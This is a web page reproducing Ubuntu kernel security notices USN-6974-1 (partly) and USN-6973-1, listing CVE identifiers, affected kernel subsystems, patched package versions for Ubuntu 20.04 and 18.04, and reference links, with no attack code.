linux-image-aws-lts-22.04       5.15.0.1068.68   linux-image-azure-fde-lts-22.04  5.15.0.1071.80.48   linux-image-azure-lts-22.04     5.15.0.1071.69   linux-image-gcp-lts-22.04       5.15.0.1067.63   linux-image-generic             5.15.0.119.119   linux-image-generic-64k         5.15.0.119.119   linux-image-generic-lpae        5.15.0.119.119   linux-image-gke                 5.15.0.1065.64   linux-image-gke-5.15            5.15.0.1065.64   linux-image-gkeop               5.15.0.1051.50   linux-image-gkeop-5.15          5.15.0.1051.50   linux-image-ibm                 5.15.0.1061.57   linux-image-intel-iotg          5.15.0.1063.63   linux-image-kvm                 5.15.0.1065.61   linux-image-lowlatency          5.15.0.119.109   linux-image-lowlatency-64k      5.15.0.119.109   linux-image-nvidia              5.15.0.1063.63   linux-image-nvidia-lowlatency   5.15.0.1063.63   linux-image-oracle-lts-22.04    5.15.0.1066.62   linux-image-raspi               5.15.0.1061.59   linux-image-raspi-nolpae        5.15.0.1061.59   linux-image-virtual             5.15.0.119.119Ubuntu 20.04 LTS   linux-image-5.15.0-1051-gkeop   5.15.0-1051.58~20.04.1   linux-image-5.15.0-1061-ibm     5.15.0-1061.64~20.04.1   linux-image-5.15.0-1063-intel-iotg  5.15.0-1063.69~20.04.1   linux-image-5.15.0-1067-gcp     5.15.0-1067.75~20.04.1   linux-image-5.15.0-1068-aws     5.15.0-1068.74~20.04.1   linux-image-5.15.0-1071-azure   5.15.0-1071.80~20.04.1   linux-image-5.15.0-1071-azure-fde  5.15.0-1071.80~20.04.1.1   linux-image-5.15.0-119-generic  5.15.0-119.129~20.04.1   linux-image-5.15.0-119-generic-64k  5.15.0-119.129~20.04.1   linux-image-5.15.0-119-generic-lpae  5.15.0-119.129~20.04.1   linux-image-5.15.0-119-lowlatency  5.15.0-119.129~20.04.1   linux-image-5.15.0-119-lowlatency-64k  5.15.0-119.129~20.04.1   linux-image-aws                 5.15.0.1068.74~20.04.1   linux-image-azure               5.15.0.1071.80~20.04.1   linux-image-azure-cvm           5.15.0.1071.80~20.04.1   linux-image-azure-fde           5.15.0.1071.80~20.04.1.48   linux-image-gcp                 5.15.0.1067.75~20.04.1   linux-image-generic-64k-hwe-20.04  5.15.0.119.129~20.04.1   linux-image-generic-hwe-20.04   5.15.0.119.129~20.04.1   linux-image-generic-lpae-hwe-20.04  5.15.0.119.129~20.04.1   linux-image-gkeop-5.15          5.15.0.1051.58~20.04.1   linux-image-ibm                 5.15.0.1061.64~20.04.1   linux-image-intel               5.15.0.1063.69~20.04.1   linux-image-intel-iotg          5.15.0.1063.69~20.04.1   linux-image-lowlatency-64k-hwe-20.04  5.15.0.119.129~20.04.1   linux-image-lowlatency-hwe-20.04  5.15.0.119.129~20.04.1   linux-image-oem-20.04           5.15.0.119.129~20.04.1   linux-image-oem-20.04b          5.15.0.119.129~20.04.1   linux-image-oem-20.04c          5.15.0.119.129~20.04.1   linux-image-oem-20.04d          5.15.0.119.129~20.04.1   linux-image-virtual-hwe-20.04   5.15.0.119.129~20.04.1After a standard system update you need to reboot your computer to makeall the necessary changes.ATTENTION: Due to an unavoidable ABI change the kernel updates havebeen given a new version number, which requires you to recompile andreinstall all third party kernel modules you might have installed.Unless you manually uninstalled the standard kernel metapackages(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,linux-powerpc), a standard system upgrade will automatically performthis as well.References:   https://ubuntu.com/security/notices/USN-6974-1   CVE-2023-52629, CVE-2023-52760, CVE-2024-26680, CVE-2024-26830,   CVE-2024-26921, CVE-2024-36901, CVE-2024-39292, CVE-2024-39484Package Information:   https://launchpad.net/ubuntu/+source/linux/5.15.0-119.129   https://launchpad.net/ubuntu/+source/linux-aws/5.15.0-1068.74   https://launchpad.net/ubuntu/+source/linux-azure/5.15.0-1071.80   https://launchpad.net/ubuntu/+source/linux-azure-fde/5.15.0-1071.80.1   https://launchpad.net/ubuntu/+source/linux-gcp/5.15.0-1067.75   https://launchpad.net/ubuntu/+source/linux-gke/5.15.0-1065.71   https://launchpad.net/ubuntu/+source/linux-gkeop/5.15.0-1051.58   https://launchpad.net/ubuntu/+source/linux-ibm/5.15.0-1061.64   https://launchpad.net/ubuntu/+source/linux-intel-iotg/5.15.0-1063.69   https://launchpad.net/ubuntu/+source/linux-kvm/5.15.0-1065.70   https://launchpad.net/ubuntu/+source/linux-lowlatency/5.15.0-119.129   https://launchpad.net/ubuntu/+source/linux-nvidia/5.15.0-1063.64   https://launchpad.net/ubuntu/+source/linux-oracle/5.15.0-1066.72   https://launchpad.net/ubuntu/+source/linux-raspi/5.15.0-1061.64   https://launchpad.net/ubuntu/+source/linux-aws-5.15/5.15.0-1068.74~20.04.1   https://launchpad.net/ubuntu/+source/linux-azure-5.15/5.15.0-1071.80~20.04.1  https://launchpad.net/ubuntu/+source/linux-azure-fde-5.15/5.15.0-1071.80~20.04.1.1   https://launchpad.net/ubuntu/+source/linux-gcp-5.15/5.15.0-1067.75~20.04.1   https://launchpad.net/ubuntu/+source/linux-gkeop-5.15/5.15.0-1051.58~20.04.1   https://launchpad.net/ubuntu/+source/linux-hwe-5.15/5.15.0-119.129~20.04.1   https://launchpad.net/ubuntu/+source/linux-ibm-5.15/5.15.0-1061.64~20.04.1  https://launchpad.net/ubuntu/+source/linux-intel-iotg-5.15/5.15.0-1063.69~20.04.1  https://launchpad.net/ubuntu/+source/linux-lowlatency-hwe-5.15/5.15.0-119.129~20.04.1

Ubuntu Security Notice USN-6974-1

Ubuntu Security Notice 6973-1 - It was discovered that a race condition existed in the Bluetooth subsystem in the Linux kernel, leading to a null pointer dereference vulnerability. A privileged local attacker could use this to possibly cause a denial of service. Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system.

    ==========================================================================Ubuntu Security Notice USN-6973-1August 21, 2024linux, linux-aws, linux-azure, linux-bluefield, linux-gcp, linux-gcp-5.4,linux-gkeop, linux-hwe-5.4, linux-ibm, linux-ibm-5.4, linux-kvm,linux-oracle, linux-oracle-5.4, linux-raspi, linux-xilinx-zynqmpvulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 20.04 LTS- Ubuntu 18.04 LTSSummary:Several security issues were fixed in the Linux kernel.Software Description:- linux: Linux kernel- linux-aws: Linux kernel for Amazon Web Services (AWS) systems- linux-azure: Linux kernel for Microsoft Azure Cloud systems- linux-bluefield: Linux kernel for NVIDIA BlueField platforms- linux-gcp: Linux kernel for Google Cloud Platform (GCP) systems- linux-gkeop: Linux kernel for Google Container Engine (GKE) systems- linux-ibm: Linux kernel for IBM cloud systems- linux-kvm: Linux kernel for cloud environments- linux-oracle: Linux kernel for Oracle Cloud systems- linux-raspi: Linux kernel for Raspberry Pi systems- linux-xilinx-zynqmp: Linux kernel for Xilinx ZynqMP processors- linux-gcp-5.4: Linux kernel for Google Cloud Platform (GCP) systems- linux-hwe-5.4: Linux hardware enablement (HWE) kernel- linux-ibm-5.4: Linux kernel for IBM cloud systems- linux-oracle-5.4: Linux kernel for Oracle Cloud systemsDetails:It was discovered that a race condition existed in the Bluetooth subsystemin the Linux kernel, leading to a null pointer dereference vulnerability. Aprivileged local attacker could use this to possibly cause a denial ofservice (system crash). (CVE-2024-24860)Several security issues were discovered in the Linux kernel.An attacker could possibly use these to compromise the system.This update corrects flaws in the following subsystems:   - SuperH RISC architecture;   - MMC subsystem;   - Network drivers;   - SCSI drivers;   - GFS2 file system;   - IPv4 networking;   - IPv6 networking;   - HD-audio driver;(CVE-2024-26830, CVE-2024-39484, CVE-2024-36901, CVE-2024-26929,CVE-2024-26921, CVE-2021-46926, CVE-2023-52629, CVE-2023-52760)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 20.04 LTS   linux-image-5.4.0-1050-xilinx-zynqmp  5.4.0-1050.54   linux-image-5.4.0-1078-ibm      5.4.0-1078.83   linux-image-5.4.0-1091-bluefield  5.4.0-1091.98   linux-image-5.4.0-1098-gkeop    5.4.0-1098.102   linux-image-5.4.0-1115-raspi    5.4.0-1115.127   linux-image-5.4.0-1119-kvm      5.4.0-1119.127   linux-image-5.4.0-1130-oracle   5.4.0-1130.139   linux-image-5.4.0-1131-aws      5.4.0-1131.141   linux-image-5.4.0-1135-gcp      5.4.0-1135.144   linux-image-5.4.0-1136-azure    5.4.0-1136.143   linux-image-5.4.0-193-generic   5.4.0-193.213   linux-image-5.4.0-193-generic-lpae  5.4.0-193.213   linux-image-5.4.0-193-lowlatency  5.4.0-193.213   linux-image-aws-lts-20.04       5.4.0.1131.128   linux-image-azure-lts-20.04     5.4.0.1136.130   linux-image-bluefield           5.4.0.1091.87   linux-image-gcp-lts-20.04       5.4.0.1135.137   linux-image-generic             5.4.0.193.191   linux-image-generic-lpae        5.4.0.193.191   linux-image-gkeop               5.4.0.1098.96   linux-image-gkeop-5.4           5.4.0.1098.96   linux-image-ibm-lts-20.04       5.4.0.1078.107   linux-image-kvm                 5.4.0.1119.115   linux-image-lowlatency          5.4.0.193.191   linux-image-oem                 5.4.0.193.191   linux-image-oem-osp1            5.4.0.193.191   linux-image-oracle-lts-20.04    5.4.0.1130.123   linux-image-raspi               5.4.0.1115.145   linux-image-raspi2              5.4.0.1115.145   linux-image-virtual             5.4.0.193.191   linux-image-xilinx-zynqmp       5.4.0.1050.50Ubuntu 18.04 LTS   linux-image-5.4.0-1078-ibm      5.4.0-1078.83~18.04.1                                   Available with Ubuntu Pro   linux-image-5.4.0-1130-oracle   5.4.0-1130.139~18.04.1                                   Available with Ubuntu Pro   linux-image-5.4.0-1135-gcp      5.4.0-1135.144~18.04.1                                   Available with Ubuntu Pro   linux-image-5.4.0-193-generic   5.4.0-193.213~18.04.1                                   Available with Ubuntu Pro   linux-image-5.4.0-193-lowlatency  5.4.0-193.213~18.04.1                                   Available with Ubuntu Pro   linux-image-gcp                 5.4.0.1135.144~18.04.1                                   Available with Ubuntu Pro   linux-image-generic-hwe-18.04   5.4.0.193.213~18.04.1                                   Available with Ubuntu Pro   linux-image-ibm                 5.4.0.1078.83~18.04.1                                   Available with Ubuntu Pro   linux-image-lowlatency-hwe-18.04  5.4.0.193.213~18.04.1                                   Available with Ubuntu Pro   linux-image-oem                 5.4.0.193.213~18.04.1                                   Available with Ubuntu Pro   linux-image-oem-osp1            5.4.0.193.213~18.04.1                                   Available with Ubuntu Pro   linux-image-oracle              5.4.0.1130.139~18.04.1                                   Available with Ubuntu Pro   linux-image-snapdragon-hwe-18.04  5.4.0.193.213~18.04.1                                   Available with Ubuntu Pro   linux-image-virtual-hwe-18.04   5.4.0.193.213~18.04.1                                   Available with Ubuntu ProAfter a standard system update you need to reboot your computer to makeall the necessary changes.ATTENTION: Due to an unavoidable ABI change the kernel updates havebeen given a new version number, which requires you to recompile andreinstall all third party kernel modules you might have installed.Unless you manually uninstalled the standard kernel metapackages(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,linux-powerpc), a standard system upgrade will automatically performthis as well.References:   https://ubuntu.com/security/notices/USN-6973-1   CVE-2021-46926, CVE-2023-52629, CVE-2023-52760, CVE-2024-24860,   CVE-2024-26830, CVE-2024-26921, CVE-2024-26929, CVE-2024-36901,   CVE-2024-39484Package Information:   https://launchpad.net/ubuntu/+source/linux/5.4.0-193.213   https://launchpad.net/ubuntu/+source/linux-aws/5.4.0-1131.141   https://launchpad.net/ubuntu/+source/linux-azure/5.4.0-1136.143   https://launchpad.net/ubuntu/+source/linux-bluefield/5.4.0-1091.98   https://launchpad.net/ubuntu/+source/linux-gcp/5.4.0-1135.144   https://launchpad.net/ubuntu/+source/linux-gkeop/5.4.0-1098.102   https://launchpad.net/ubuntu/+source/linux-ibm/5.4.0-1078.83   https://launchpad.net/ubuntu/+source/linux-kvm/5.4.0-1119.127   https://launchpad.net/ubuntu/+source/linux-oracle/5.4.0-1130.139   https://launchpad.net/ubuntu/+source/linux-raspi/5.4.0-1115.127   https://launchpad.net/ubuntu/+source/linux-xilinx-zynqmp/5.4.0-1050.54

Tag

#google